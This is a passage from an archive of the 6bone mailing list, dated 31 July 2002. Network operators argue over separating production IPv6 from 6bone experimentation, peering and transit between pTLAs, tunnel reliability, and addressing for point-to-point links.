wisely.  As for scaring people away from v6, I don't see it.  As
confounded as it is, the 6bone is more robust then the initial v4
network.

> *) I frequently use ftp, cvs and http over IPv6 to sites far away in
> the internet. Too often, there are routing problems and IPv6 traffic
> is blackholed (routing loops, etc). Most application time out and try
> IPv4. But this means annoying delays. Many of these problems occur
> because people are running production services over the 6bone.

The last time I checked, the 6bone was an adhock network of folks running
(mostly) v6-in-v4 tunnels between each other to establish v6 (notice I
don't make distinction between 3ffe::/16 and 2001::/16 here) connectivity
in the absence of NATIVE v6 connections.  Granted, there are some native
v6 links.  That is great.  The *majority* of links are v6-in-v4 tunnels
though.

If you're complaining about people running production services on 6bone
PREFIXES, perhaps they haven't gotten around to getting their RIR space
yet.  Perhaps they haven't made the obvious distinction between their v6
and v4 webservers. (Hint: www.[domain].com = v4, www.ipv6.[domain[.com =
v6)  This gives the USER the choice, based on the URL they type in.

I honestly don't see a problem with the two (6bone and production) being
interweaved.  Had the aggregation mistake been made on a 3ffe::/16 prefix,
it wouldn't have been as big of a deal.  The fact that it aggregated the
entire ARIN RIR *production* v6 space was the problem.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From rrockell@sprint.net Wed Jul 31 06:38:20 2002
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Subject: Re: [6bone] Re: routing concern
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perhaps a good compromise here is to take steps towards at least base-lining
the 6bone with decent inter-domain routing rules? The first two things that
stick out that hinder the 6bone from being a viable testbed (assuming a
sutiable definition for Testbed is: A network that emulates what the real
world (might) look like, so tests can be performed):

-filtering (popular one on this mailing list)
-less transit

Right now, it seems like the default for pTLA's is to give transit to each
other.  In the ipv4 world (and I don't see how this changes in IPv6)
normally, big networks have one or a few transit providers, but then only
peer with non-transit to all other networks.  Today, it looks like transit
is the de-factor for pTLA---pTLA peering.  If we cut this down, it allows us
to:

1. better optimize routing, because we can work out who has the
best/widest-reaching pTLA network, and get transit from that network (avoid
long tunnels, not following geographic topology, etc..).

2. filters more strongly (if you only receive one prefix from a peer, it is
much easier to filter strongly than if you filter the whole table
explicitly).

The concept of 'less transit' I don't think has been addressed here yet, but
I think it is a suitable pursuit for current pTLA network operators to look
at, as I think it would help with scaling, filtering, etc... I don't need 20
paths to every pTLA, especially if I'm directly peered with that pTLA.

Thanks
Rob Rockell
SprintLink International
(+1) 703-689-6322
Sprint IP Services
-----------------------------------------------------------------------

On Wed, 31 Jul 2002, John Fraizer wrote:

->
->On Wed, 31 Jul 2002, Ronald van der Pol wrote:
->
->> On Tue, Jul 30, 2002 at 11:13:36 -0700, Michel Py wrote:
->>
->> > As I said before, the 6bone is the right place for this. Has anyone been
->> > hurt? Anyone lost money? The lessons we collectively learn each time
->> > someone messes up a route are far more valuable than the consequences of
->> > messing up the route.
->>
->> Is it time to start making a clear distinction between IPv6 production
->> and IPv6 experimentation/learning? I think today the 6bone is used for
->> both.
->>
->> Many use IPv6 for their daily work *). We *need* a stable network for
->> that.  If we don't do that we risk scaring people away from IPv6. Most
->> OSes support IPv6 nowadays. When an enduser starts using IPv6 for the
->> first time and she notices all kinds of networking problems, many will
->> think: "OK, let's turn off IPv6. It does not work."
->>
->> The RIR prefixes are meant for IPv6 production. So, I think they should
->> not be used on the 6bone. The 6bone should only be used for experiments
->> and possibly learning. And on the other hand, I think production services
->> should not use 6bone prefixes, but RIR prefixes.
->>
->> 	rvdp
->
->If you don't want to see RIR space on your router Ronald, you can filter
->it.  I _strongly_ disagree with having a hard seperation of production v6
->and 6bone though.  There already exists seperation.  Production services
->on production prefixes.  6bone experiments on 6bone prefixes.
->
->Do you really want to create an island out of the production v6
->network?  Do you want folks on production v6 address space to not be able
->to reach 6bone prefixes?
->
->We're not asking people to stop experimenting.  We're asking them to do so
->wisely.  As for scaring people away from v6, I don't see it.  As
->confounded as it is, the 6bone is more robust then the initial v4
->network.
->
->> *) I frequently use ftp, cvs and http over IPv6 to sites far away in
->> the internet. Too often, there are routing problems and IPv6 traffic
->> is blackholed (routing loops, etc). Most application time out and try
->> IPv4. But this means annoying delays. Many of these problems occur
->> because people are running production services over the 6bone.
->
->The last time I checked, the 6bone was an adhock network of folks running
->(mostly) v6-in-v4 tunnels between each other to establish v6 (notice I
->don't make distinction between 3ffe::/16 and 2001::/16 here) connectivity
->in the absence of NATIVE v6 connections.  Granted, there are some native
->v6 links.  That is great.  The *majority* of links are v6-in-v4 tunnels
->though.
->
->If you're complaining about people running production services on 6bone
->PREFIXES, perhaps they haven't gotten around to getting their RIR space
->yet.  Perhaps they haven't made the obvious distinction between their v6
->and v4 webservers. (Hint: www.[domain].com = v4, www.ipv6.[domain[.com =
->v6)  This gives the USER the choice, based on the URL they type in.
->
->I honestly don't see a problem with the two (6bone and production) being
->interweaved.  Had the aggregation mistake been made on a 3ffe::/16 prefix,
->it wouldn't have been as big of a deal.  The fact that it aggregated the
->entire ARIN RIR *production* v6 space was the problem.
->
->
->
->---
->John Fraizer              | High-Security Datacenter Services |
->EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
->http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
->
->


From bmanning@ISI.EDU Wed Jul 31 06:40:32 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200207311339.g6VDdYX13665@boreas.isi.edu>
In-Reply-To: <20020731101035.GA12460@rvdp.org> from Ronald van der Pol at "Jul 31, 2 12:10:35 pm"
To: Ronald.vanderPol@rvdp.org (Ronald van der Pol)
Date: Wed, 31 Jul 2002 06:39:34 -0700 (PDT)
Cc: michel@arneill-py.sacramento.ca.us, rrockell@sprint.net, 6bone@ISI.EDU
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% Is it time to start making a clear distinction between IPv6 production
% and IPv6 experimentation/learning? I think today the 6bone is used for
% both.

	can't be done. people still experiment/learn on the v4 network
	and its also used for "production" (what ever that means :)

	Same w/ v6.  the 6bone, as an overlay ontop of the v4 network
	will eventually disolve as native v6 transport is put into place.
	The 6bone address space won't go away when folks run native
	infrastructure -unless- they take overt action to deprecate
	the use of those prefixes.  And since the bits and pieces of 
	the overlay won't/can't convert at the same time, we can't 
	have a flag day for everyone.  3ffe::/16 may be around a very 
	long time.


--bill

From rvdp@kirk.rvdp.org Wed Jul 31 06:47:58 2002
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From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: John Fraizer <tvo@EnterZone.Net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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On Wed, Jul 31, 2002 at 09:28:11 -0400, John Fraizer wrote:

> If you don't want to see RIR space on your router Ronald, you can filter
> it.  I _strongly_ disagree with having a hard seperation of production v6
> and 6bone though.  There already exists seperation.  Production services
> on production prefixes.  6bone experiments on 6bone prefixes.

There is a problem when production services are being reached via
a network which is not stable (like 6bone is today). I am not saying
it is bad that 6bone is not stable. I just think 6bone should become
a network for doing IPv6 related experiments only, no production.

> Do you really want to create an island out of the production v6
> network?  Do you want folks on production v6 address space to not be able
> to reach 6bone prefixes?

No, and these are not related. There can be connections to and from
the 6bone. But the routing must be setup in a way that you never
reach production prefixes via the 6bone (when your origin is not the
6bone).

> We're not asking people to stop experimenting.  We're asking them to do so
> wisely.  As for scaring people away from v6, I don't see it.  As
> confounded as it is, the 6bone is more robust then the initial v4
> network.

I want an IPv6 network which is *at least* as reliable as the IPv4
network is *today*.

> If you're complaining about people running production services on 6bone
> PREFIXES, perhaps they haven't gotten around to getting their RIR space
> yet.

I am not complaining. I am just asking the question if the time has
come to seperate experiment from production.

	rvdp

From itojun@itojun.org Wed Jul 31 06:54:11 2002
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Subject: Re: [6bone] Re: routing concern 
From: itojun@iijlab.net
Date: Wed, 31 Jul 2002 22:53:56 +0900
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>> As I said before, the 6bone is the right place for this. Has anyone been
>> hurt? Anyone lost money? The lessons we collectively learn each time
>> someone messes up a route are far more valuable than the consequences of
>> messing up the route.
>
>Is it time to start making a clear distinction between IPv6 production
>and IPv6 experimentation/learning? I think today the 6bone is used for
>both.
> 
>Many use IPv6 for their daily work *). We *need* a stable network for
>that.  If we don't do that we risk scaring people away from IPv6. Most
>OSes support IPv6 nowadays. When an enduser starts using IPv6 for the
>first time and she notices all kinds of networking problems, many will
>think: "OK, let's turn off IPv6. It does not work."

	i completely agree with the above.  many of the Japanese ISPs are now
	selling IPv6 traffic commercially (yes, we do charge money), and
	people do depend on us.  therefore, we (IIJ) need to provide stable
	network to our customers.  our policy is to never peer over tunnels
	(i still have a couple of tunnels which will be shut down soon).
	we use tunnels within our AS, but not toward other ASes.

	from my experience, peers over tunnels are not reliable, as
	- they usually do not enforce enough route filters
	- they usually are not serious enough about IPv6 (if they are serious,
	  they should have been paying for IPv6 circuit)
	- they (the network itself, or the contact person) disappear without
	  notice
	- tunnel itself is not stable enough due to IPv4 troubles

	so my suggestion to sTLA holders are, (1) install RFC2772-based filters
	to all of your EBGP routers, and (2) shut down tunnels.

itojun

From tvo@EnterZone.Net Wed Jul 31 07:03:57 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Erik Bos <erik@xs4all.net>
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On Wed, 31 Jul 2002, Erik Bos wrote:

> On Tue, Jul 30, 2002 at 09:02:34PM -0400, John Fraizer wrote:
> > 
> > I am VERY interested to know what 15180 is running though since everything
> > else is pointing to them.
> 
> According to my emailarchive 15180 was running Zebra when the tunnel was
> setup, I don't what they are currently using.


Something to remember folks.  This isn't plug-n-play.  When new revisions
of code come out, there is generally a reason.  You need to upgrade!  This
is yet another reason why I don't understand people still running
MRTd.  The last revision to the code was Aug 14, 2000 according to the
sourceforge page.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From tvo@EnterZone.Net Wed Jul 31 07:27:53 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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On Wed, 31 Jul 2002, Ronald van der Pol wrote:

> On Wed, Jul 31, 2002 at 09:28:11 -0400, John Fraizer wrote:
> 
> > If you don't want to see RIR space on your router Ronald, you can filter
> > it.  I _strongly_ disagree with having a hard seperation of production v6
> > and 6bone though.  There already exists seperation.  Production services
> > on production prefixes.  6bone experiments on 6bone prefixes.
> 
> There is a problem when production services are being reached via
> a network which is not stable (like 6bone is today). I am not saying
> it is bad that 6bone is not stable. I just think 6bone should become
> a network for doing IPv6 related experiments only, no production.

Um, it sounds like you need to get better peering, either native v6 or
better tunnel peering.  I don't see this as any different than v4.  If
your peering is $h!t, your experience is $h!t.

I am all for the 6bone as a while being more stable.  Having contacts that
actually MONITOR the 6bone list (I thought this was a requirement BTW) and
notice when people are talking about their network and REACT to this by
fixing their problems, blah blah blah.  Until that happens, if a peer is
unresponsive and crappy, depeer.  Again, just like v4.  If transit to site
X is better via A_B_C_X than via D_X, set up a route-map to pref the
A_B_C_X route.  Again, just like v4.

> > Do you really want to create an island out of the production v6
> > network?  Do you want folks on production v6 address space to not be able
> > to reach 6bone prefixes?
> 
> No, and these are not related. There can be connections to and from
> the 6bone. But the routing must be setup in a way that you never
> reach production prefixes via the 6bone (when your origin is not the
> 6bone).

You're going to be hard pressed to do this.  As Bill pointed out, there
are 3ffe::/16 prefixes being routes over native v6 links and there are
2001::/16 prefixes being routes over v6-in-v4 tunnels.

Just because a connection between two peers is in a v4-in-v4 tunnel does
NOT make that connection a "6bone" connection vs "production" connection
and native v6 peering does not mean that that particular connection is not
a "6bone" connection.

> > We're not asking people to stop experimenting.  We're asking them to do so
> > wisely.  As for scaring people away from v6, I don't see it.  As
> > confounded as it is, the 6bone is more robust then the initial v4
> > network.
> 
> I want an IPv6 network which is *at least* as reliable as the IPv4
> network is *today*.

Choose your peering partners wisely then.  No different than IPv4.

Rob from Sprint hit on something that I don't quite agree with.  He wants
to limit transit.  Coming from Sprint (no offense Rob), that makes perfect
sense.  I live on the other end of the spectrum.  The more transit
possibilities you have to a network you don't DIRECTLY peer with, the more
likely you will be able to reach that network.  Even if you DO have direct
peering with that network, having a backup route(s) to them doesn't hurt a
thing.  If people don't want backup-transit, that is their decision.  I
don't think there needs to be any broad policy change and especially not
among pTLAs.  Unless we're all going to establish direct peering between
each other (that scales just wonderful, doesn't it?) it is wise for us to
provide transit to each other (pTLA to pTLA).




---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From tvo@EnterZone.Net Wed Jul 31 07:47:22 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: itojun@iijlab.net
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern 
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On Wed, 31 Jul 2002 itojun@iijlab.net wrote:

> 	from my experience, peers over tunnels are not reliable, as
> 	- they usually do not enforce enough route filters
> 	- they usually are not serious enough about IPv6 (if they are serious,
> 	  they should have been paying for IPv6 circuit)
> 	- they (the network itself, or the contact person) disappear without
> 	  notice
> 	- tunnel itself is not stable enough due to IPv4 troubles

Talk about overgeneralization.  Do you always paint with that
broad of brush itojun?

"they usually do not enforce enough route filters"

- Filters belong on both INGRESS and EGRESS.  You are just as responsible
for filtering as they are.

"they usually are not serious enough about IPv6 (if they are serious,
they should have been paying for IPv6 circuit)"

- It must be nice to receive funding from 9 different organizations.  Some
of us don't have that luxury.

"they (the network itself, or the contact person) disappear without notice"

- Contact disappears, depeer.  Network disappears, automatic
depeering.

"tunnel itself is not stable enough due to IPv4 troubles"

- v4 connectivity in Japan that bad eh?  Ya know, if you were SERIOUS,
you'd have OC-192 from *your* edge into MULTIPLE peering points in the US
and UK.  I guess it's time for all of your v4 peers to drop you, huh?

> 	so my suggestion to sTLA holders are, (1) install RFC2772-based filters
> 	to all of your EBGP routers, and (2) shut down tunnels.

Damn.  And I thought that the elitists were all v4 based.

From RFC2772:

  "The organizations receiving prefixes under these newer TLAs would be
   expected to want to establish peering and connectivity relationships
   with other IPv6 networks, both in the newer TLA space and in the
   6bone pTLA space. Peering between new TLA's and the current 6Bone
   pTLA's MAY occur, and details such as transit, and what routes are
   received by each, are outside of general peering rules as stated in
   this memo, and are left up to the members of those TLA's and pTLA's
   that are establishing said peerings. However, it is expected that
   most of the rules discussed here are equally applicable to new TLAs."


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



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On Wed, 31 Jul 2002, Ronald van der Pol wrote:
> On Wed, Jul 31, 2002 at 09:28:11 -0400, John Fraizer wrote:
>
> > If you don't want to see RIR space on your router Ronald, you can filter
> > it.  I _strongly_ disagree with having a hard seperation of production v6
> > and 6bone though.  There already exists seperation.  Production services
> > on production prefixes.  6bone experiments on 6bone prefixes.
>
> There is a problem when production services are being reached via
> a network which is not stable (like 6bone is today).

Maybe that means the 2001::/16 production TLAs need to give
preference to routes via other 2001::/16 sites instead of
routing production traffic over 3ffe::/16 links ?

regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From itojun@itojun.org Wed Jul 31 07:53:37 2002
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From: itojun@iijlab.net
Date: Wed, 31 Jul 2002 23:53:33 +0900
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>"they usually do not enforce enough route filters"
>- Filters belong on both INGRESS and EGRESS.  You are just as responsible
>for filtering as they are.

	of course we do filter bogus routes.

>"they usually are not serious enough about IPv6 (if they are serious,
>they should have been paying for IPv6 circuit)"
>- It must be nice to receive funding from 9 different organizations.  Some
>of us don't have that luxury.

	i have many hats.  i'm not wearing my KAME hat now.

>"tunnel itself is not stable enough due to IPv4 troubles"
>- v4 connectivity in Japan that bad eh?  Ya know, if you were SERIOUS,
>you'd have OC-192 from *your* edge into MULTIPLE peering points in the US
>and UK.  I guess it's time for all of your v4 peers to drop you, huh?

	yes, we are serious and have direct connectivity to multiple IXes
	in the US.  unfortunately we don't have any presense in Europe (yet).

itojun

From rvdp@kirk.rvdp.org Wed Jul 31 07:54:48 2002
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To: John Fraizer <tvo@EnterZone.Net>
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Subject: Re: [6bone] Re: routing concern
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On Wed, Jul 31, 2002 at 10:27:49 -0400, John Fraizer wrote:

> Until that happens, if a peer is
> unresponsive and crappy, depeer.  Again, just like v4.  If transit to site
> X is better via A_B_C_X than via D_X, set up a route-map to pref the
> A_B_C_X route.  Again, just like v4.

This is not the problem. The problem is A_B_C_X is looping between B and C
and D_E_F_B_C_X is also looping between B and C. Changing peers from A to D
does not help.

> Just because a connection between two peers is in a v4-in-v4 tunnel does
> NOT make that connection a "6bone" connection vs "production" connection
> and native v6 peering does not mean that that particular connection is not
> a "6bone" connection.

True. Did I say otherwise?

> > I want an IPv6 network which is *at least* as reliable as the IPv4
> > network is *today*.
> 
> Choose your peering partners wisely then.  No different than IPv4.
> 
> Rob from Sprint hit on something that I don't quite agree with.  He wants
> to limit transit. 

As indicated above the problem is not with the peering. It has a lot to do
with tunnels all over the world and transit by everyone.

> Unless we're all going to establish direct peering between
> each other (that scales just wonderful, doesn't it?) it is wise for us to
> provide transit to each other (pTLA to pTLA).

How does that compare to v4?

	rvdp

From michel@arneill-py.sacramento.ca.us Wed Jul 31 08:00:18 2002
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Subject: RE: [6bone] semi-newbie Q on IPv6 address planning
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Nick,

> Do we have to stick to allocating in lots of 8 bits?
No. Same is v4, any bit boundary is valid.

> Is a /44 allocation valid?
Absolutely. In your case, you could use any prefix you want between /33
and /48. The prefixes from /48 to /64 are the customer's responsibility,
not yours (except for your infrastructure).

> And what is a /126 allocation for a point-to-point link?

Not good, it violates RFC2373. You should use a /64 for point-to-point
links. It is typical to allocate a /48 for your ptp links.

Michel.


From michel@arneill-py.sacramento.ca.us Wed Jul 31 08:13:03 2002
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Subject: RE: [6bone] Re: routing concern
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Ronald van der Pol" <Ronald.vanderPol@rvdp.org>,
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> Ronald van der Pol wrote:
> There is a problem when production services are being
> reached via a network which is not stable (like 6bone is
> today). I am not saying it is bad that 6bone is not
> stable. I just think 6bone should become a network for
> doing IPv6 related experiments only, no production.

This is the way it's supposed to be already. The 6bone should *not* be
used for production. The problem is that people actually use it for
production.


>> Do you really want to create an island out of the
>> production v6  network?  Do you want folks on production
>> v6 address space to not be able to reach 6bone prefixes?

> No, and these are not related. There can be connections
> to and from the 6bone. But the routing must be setup in
> a way that you never reach production prefixes via the
> 6bone (when your origin is not the 6bone).

Problem is, the infrastructure does not exist yet for this. To some
extent, if the tunneling system did not exist there will be no IPv6
production because there will be too many isolated IPv6 islands.


> I want an IPv6 network which is *at least* as reliable as the
> IPv4 network is *today*.

Simple. Build it.

Michel.

From tvo@EnterZone.Net Wed Jul 31 08:23:03 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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On Wed, 31 Jul 2002, Ronald van der Pol wrote:

> On Wed, Jul 31, 2002 at 10:27:49 -0400, John Fraizer wrote:
> 
> > Until that happens, if a peer is
> > unresponsive and crappy, depeer.  Again, just like v4.  If transit to site
> > X is better via A_B_C_X than via D_X, set up a route-map to pref the
> > A_B_C_X route.  Again, just like v4.
> 
> This is not the problem. The problem is A_B_C_X is looping between B and C
> and D_E_F_B_C_X is also looping between B and C. Changing peers from A to D
> does not help.
> 

Ia a routing loop exists, it's because someone is misconfigured or has a
broken BGP implementation.  It is NOT because the peering session is over
a tunnel vs a native V6 connection.  If B and C are looping, contact B and
C.  If they don't respond, call them out on the 6bone list.


> > Just because a connection between two peers is in a v4-in-v4 tunnel does
> > NOT make that connection a "6bone" connection vs "production" connection
> > and native v6 peering does not mean that that particular connection is not
> > a "6bone" connection.
> 
> True. Did I say otherwise?

You are trying to make distinction between the 6bone and production v6 at
the NETWORK layer.  There *is* no distinction and as Bill pointed out,
there probably won't be.  The distinction is in the network PREFIXES.

> > > I want an IPv6 network which is *at least* as reliable as the IPv4
> > > network is *today*.
> > 
> > Choose your peering partners wisely then.  No different than IPv4.
> > 
> > Rob from Sprint hit on something that I don't quite agree with.  He wants
> > to limit transit. 
> 
> As indicated above the problem is not with the peering. It has a lot to do
> with tunnels all over the world and transit by everyone.

Nobody is forcing anyone to accept or provide transit to anyone else.  The
fact of the matter is that right now, we have connectivity because it DOES
exist.

> 
> > Unless we're all going to establish direct peering between
> > each other (that scales just wonderful, doesn't it?) it is wise for us to
> > provide transit to each other (pTLA to pTLA).
> 
> How does that compare to v4?
> 
> 	rvdp

TRANSIT-AS's peer with TRANSIT-AS's.  They exchange customer routes.  Some
TRANSIT-AS's are CUSTOMERS of other TRANSIT-AS's.  Granted, the world
would be a better place if we ALL peered with EVERYONE else over native
layer2 (4v + v6).  Until that happens, transit is a fact of life.  Since
all pTLAs don't peer with all other pTLAs (native or otherwise) there must
be transit involved to establish connectivity.  If you don't want to
provide transit to other pTLAs, you don't have to.  If you don't want to
accept transit from other pTLAs, prefix-list filter them based on their
pTLA assignment.  If you don't like the connectivity between you and
site-X because it goes over an unreliable transit path, establish your own
native/tunnel peering with that site or their pTLA.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |





From tvo@EnterZone.Net Wed Jul 31 08:25:54 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Rik van Riel <riel@conectiva.com.br>
cc: Ronald van der Pol <Ronald.vanderPol@rvdp.org>, 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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On Wed, 31 Jul 2002, Rik van Riel wrote:

> 
> Maybe that means the 2001::/16 production TLAs need to give
> preference to routes via other 2001::/16 sites instead of
> routing production traffic over 3ffe::/16 links ?

Now THAT makes perfect sense.  

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From michel@arneill-py.sacramento.ca.us Wed Jul 31 08:29:04 2002
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> John Fraizer wrote:
> Rob from Sprint hit on something that I don't quite agree with.
> He wants to limit transit.  Coming from Sprint (no offense Rob),
> that makes perfect sense.  I live on the other end of the
> spectrum. The more transit possibilities you have to a network
> you don't DIRECTLY peer with, the more likely you will be able
> to reach that network. Even if you DO have direct peering with
> that network, having a backup route(s) to them doesn't hurt a
> thing. If people don't want backup-transit, that is their
> decision. I don't think there needs to be any broad policy
> change and especially not among pTLAs.  Unless we're all going
> to establish direct peering between each other (that scales
> just wonderful, doesn't it?) it is wise for us to provide
> transit to each other (pTLA to pTLA).


During the last 6bone meeting in Minneapolis I presented something
related to this issue:
http://arneill-py.sacramento.ca.us/ipv6mh/ietf53.ppt

The point that Rob makes is perfectly valid. This system where everyone
provides transit to everyone has problems. In the discussions I had with
many people, there seems to be a consensus that the current v4 tiered
structure will apply to IPv6 as well at some point, because the current
v6 peering / transit model is economically flawed.

In other words, this works because of tunnels. Tunnels are fine for
experiments, but not for production. When production-quality is
required, people will have to find native links, and this will change
the picture.

Note that I am not taking sides on the issue. There will be some peering
between pTLAs, but the general consensus is that transit will go back to
tier-1s the way it is today in v4 (comments on the slides welcomed).

Michel.


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John Fraizer <tvo@EnterZone.Net> writes:

> Rob from Sprint hit on something that I don't quite agree with.  He wants
> to limit transit.  Coming from Sprint (no offense Rob), that makes perfect
> sense.  I live on the other end of the spectrum.  The more transit
> possibilities you have to a network you don't DIRECTLY peer with, the more
> likely you will be able to reach that network.

Actually this is not true, and limiting transit does make much sense,
for purely technical reasons. More transit in the sense of BGP
advertisements does NOT automatically give you better connectivity.

In practice, we saw a number of cases where someone provides IPv6
transit (e.g. advertises full BGP table to everyone), but in fact
fails to route packets because of some misconfiguration. Such this
"transit" caused a blackhole for you.

On a performance issue, a transit provider with lots of tunnels across
the world will give you short BGP paths, but not good actual paths for
the packets.

The lesson learned from this should be: look carefully at your transit
providers. For good connectivity, your transit provider should be
dedicated to providing this service (as opposed to just running it
experimentally and not caring), have cluefull staff for IPv6, and
should care to have good connectivity itself (as opposed to collecting
as many tunnels as possible).

A handful of providers fulfulling this will give you much better
connectivity than dozends of full BGP peerings.

Robert


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On Wed, 31 Jul 2002, Michel Py wrote:

> > Ronald van der Pol wrote:
> > There is a problem when production services are being
> > reached via a network which is not stable (like 6bone is
> > today). I am not saying it is bad that 6bone is not
> > stable. I just think 6bone should become a network for
> > doing IPv6 related experiments only, no production.
> 
> This is the way it's supposed to be already. The 6bone should *not* be
> used for production. The problem is that people actually use it for
> production.


"12 January 2000

The 6bone is an IPv6 Testbed that is an outgrowth of the IETF IPng project
that created the IPv6 protocols intended to eventually replace the current
Internet network layer protocols known as IPv4.

The 6bone is currently a world wide informal collaborative project,
informally operated with oversight from the "NGtrans" (IPv6
Transition) Working Group of the IETF.

The 6bone started as a virtual network (using IPv6 over IPv4
tunneling/encapsulation) operating over the IPv4-based Internet to support
IPv6 transport, and is slowly migrating to native links for IPv6
transport.

The initial 6bone focus was on testing of standards and implementations,
while the current focus is more on testing of transition and operational
procedures.

The 6bone operates under the IPv6 Testing Address Allocation."


What I gather from the above, is that the 6bone, for all intents and
purposes, is 3ffe::/16.  No production services living on 3ffe::/16, no
problem.  "Production" in my book is COMMERCIAL.

If you define "6bone" otherwise, please explain.  If you define production
otherwise (in the context of 6bone vs production) please explain.

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


From joao@ripe.net Wed Jul 31 08:57:47 2002
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Date: Wed, 31 Jul 2002 17:56:27 +0200
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>,
   "Nick Kraal" <nick@arc.net.my>, <6bone@mailman.isi.edu>
From: Joao Luis Silva Damas <joao@ripe.net>
Subject: RE: [6bone] semi-newbie Q on IPv6 address planning
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At 8:00 -0700 31/7/02, Michel Py wrote:
>Nick,
>
>>  Do we have to stick to allocating in lots of 8 bits?
>No. Same is v4, any bit boundary is valid.
>
>>  Is a /44 allocation valid?
>Absolutely. In your case, you could use any prefix you want between /33
>and /48. The prefixes from /48 to /64 are the customer's responsibility,
>not yours (except for your infrastructure).
>
>>  And what is a /126 allocation for a point-to-point link?
>
>Not good, it violates RFC2373.

Why?

>  You should use a /64 for point-to-point
>links.

Why?

>  It is typical to allocate a /48 for your ptp links.

It is convenient, yes.

Joao

From pim@ipng.nl Wed Jul 31 09:27:30 2002
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Date: Wed, 31 Jul 2002 18:27:25 +0200
From: Pim van Pelt <pim@ipng.nl>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Rik van Riel <riel@conectiva.com.br>,
   Ronald van der Pol <Ronald.vanderPol@rvdp.org>, 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
Message-ID: <20020731162725.GA24116@bfib.colo.bit.nl>
References: <Pine.LNX.4.44L.0207311150520.23404-100000@imladris.surriel.com> <Pine.LNX.4.21.0207311123380.30442-100000@Overkill.EnterZone.Net>
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On Wed, Jul 31, 2002 at 11:25:24AM -0400, John Fraizer wrote:
| On Wed, 31 Jul 2002, Rik van Riel wrote:
| 
| > 
| > Maybe that means the 2001::/16 production TLAs need to give
| > preference to routes via other 2001::/16 sites instead of
| > routing production traffic over 3ffe::/16 links ?
| 
| Now THAT makes perfect sense.  
I can give you examples of RIR-allocated TLAs that do a lousy
job in routing.

I can also give you examples of 6BONE-allocated TLAs that do
an outstanding job (even over more than one IXP).
I don't think routing stability has much to do with the prefix
one uses...

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From Francis.Dupont@enst-bretagne.fr Wed Jul 31 09:37:10 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Joao Luis Silva Damas <joao@ripe.net>
cc: "Michel Py" <michel@arneill-py.sacramento.ca.us>,
   "Nick Kraal" <nick@arc.net.my>, 6bone@mailman.isi.edu
Subject: Re: [6bone] semi-newbie Q on IPv6 address planning 
In-reply-to: Your message of Wed, 31 Jul 2002 17:56:27 +0200.
             <p05111700b96db8e98b2d@[193.0.1.186]> 
Date: Wed, 31 Jul 2002 18:35:59 +0200
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 In your previous mail you wrote:

   >>  And what is a /126 allocation for a point-to-point link?
   >
   >Not good, it violates RFC2373.
   
   Why?
   
=> if the first three bits of an unicast address are not 000 then
the interface ID has 64 bits, etc.

   >  You should use a /64 for point-to-point links.
   
   Why?
   
=> same, and this is true for any link which doesn't use a special
format for unicast addresses (i.e., for any physical link at least!)

   >  It is typical to allocate a /48 for your ptp links.
   
   It is convenient, yes.
   
=> for the set of p2p links (not a /48 for each :-).

Regards

Francis.Dupont@enst-bretagne.fr

PS: the equivalent of "unnumbered" p2p links is p2p links with only
link-local addresses. They use of course no global addresses.
Look at the Itojun's draft about dialup access for p2p links out of
the backbone (where global addressing is necessary for easy management).

From aservin@campus.mty.itesm.mx Wed Jul 31 09:53:18 2002
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Date: Wed, 31 Jul 2002 11:52:38 -0500
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Subject: [6bone] Cisco Question
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        May be this is not the rigth place but I do not know any Cisco mailing
list relative to IPv6.

	So, the question is:

Is any command similar to "sh ip bgp summary" but for the use with IPv6?

	I need to see the sumary status of all our BGP+ neighbors. The last command
only give me the status of BGP IPv4 neighbors.

Thank in advance,
-as





From bmanning@ISI.EDU Wed Jul 31 10:16:32 2002
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Subject: Re: [6bone] Cisco Question
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Cc: 6bone@ISI.EDU
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%         May be this is not the rigth place but I do not know any Cisco mailing
% list relative to IPv6.
% 
% 	So, the question is:
% 
% Is any command similar to "sh ip bgp summary" but for the use with IPv6?
% 
